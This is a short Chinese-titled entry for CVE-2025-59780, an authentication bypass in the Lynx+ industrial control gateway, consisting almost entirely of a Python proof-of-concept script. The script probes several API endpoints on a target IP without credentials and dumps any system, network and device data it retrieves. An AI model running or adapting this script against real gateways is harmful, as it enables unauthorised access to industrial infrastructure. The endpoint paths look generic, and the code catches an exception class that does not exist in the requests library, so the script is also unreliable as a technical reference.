CVE-2025-59780 General Industrial Controls Lynx+ Gateway 认证缺失漏洞

import requests import sys import json def exploit_cve_2025_59780(target_ip, target_port=443): """ CVE-2025-59780 PoC - Lynx+ Gateway Authentication Bypass This PoC demonstrates the missing authentication vulnerability in General Industrial Controls Lynx+ Gateway web server. """ # Target URL for sensitive device information endpoints endpoints = [ "/api/system/info", "/api/network/config", "/api/device/status", "/api/system/status" ] base_url = f"https://{target_ip}:{target_port}" results = {} print(f"[*] Target: {base_url}") print(f"[*] CVE-2025-59780 - Lynx+ Gateway Authentication Bypass") print("=" * 60) for endpoint in endpoints: url = base_url + endpoint print(f"\n[*] Testing endpoint: {endpoint}") try: # Send unauthenticated GET request response = requests.get(url, verify=False, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS: Endpoint accessible without authentication") print(f"[+] Status Code: {response.status_code}") try: data = response.json() results[endpoint] = { "status": "vulnerable", "data": data } print(f"[+] Data Retrieved: {json.dumps(data, indent=2)}") except: results[endpoint] = { "status": "vulnerable", "data": response.text } print(f"[+] Response: {response.text[:500]}") else: print(f"[-] Endpoint returned status: {response.status_code}") results[endpoint] = {"status": "protected", "code": response.status_code} except requests.exceptions.SSLVerificationError: print("[!] SSL verification error - trying with verify=False") response = requests.get(url, verify=False, timeout=10) print(f"[*] Response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") results[endpoint] = {"status": "error", "message": str(e)} print("\n" + "=" * 60) print("[*] Summary:") vulnerable_count = sum(1 for r in results.values() if r.get("status") == "vulnerable") print(f"[*] Vulnerable endpoints: {vulnerable_count}/{len(endpoints)}") if vulnerable_count > 0: print("[!] TARGET IS VULNERABLE TO CVE-2025-59780") else: print("[*] Target appears to be patched or not vulnerable") return results if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") print(f"Example: python {sys.argv[0]} 192.168.1.100 443") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 exploit_cve_2025_59780(target, port)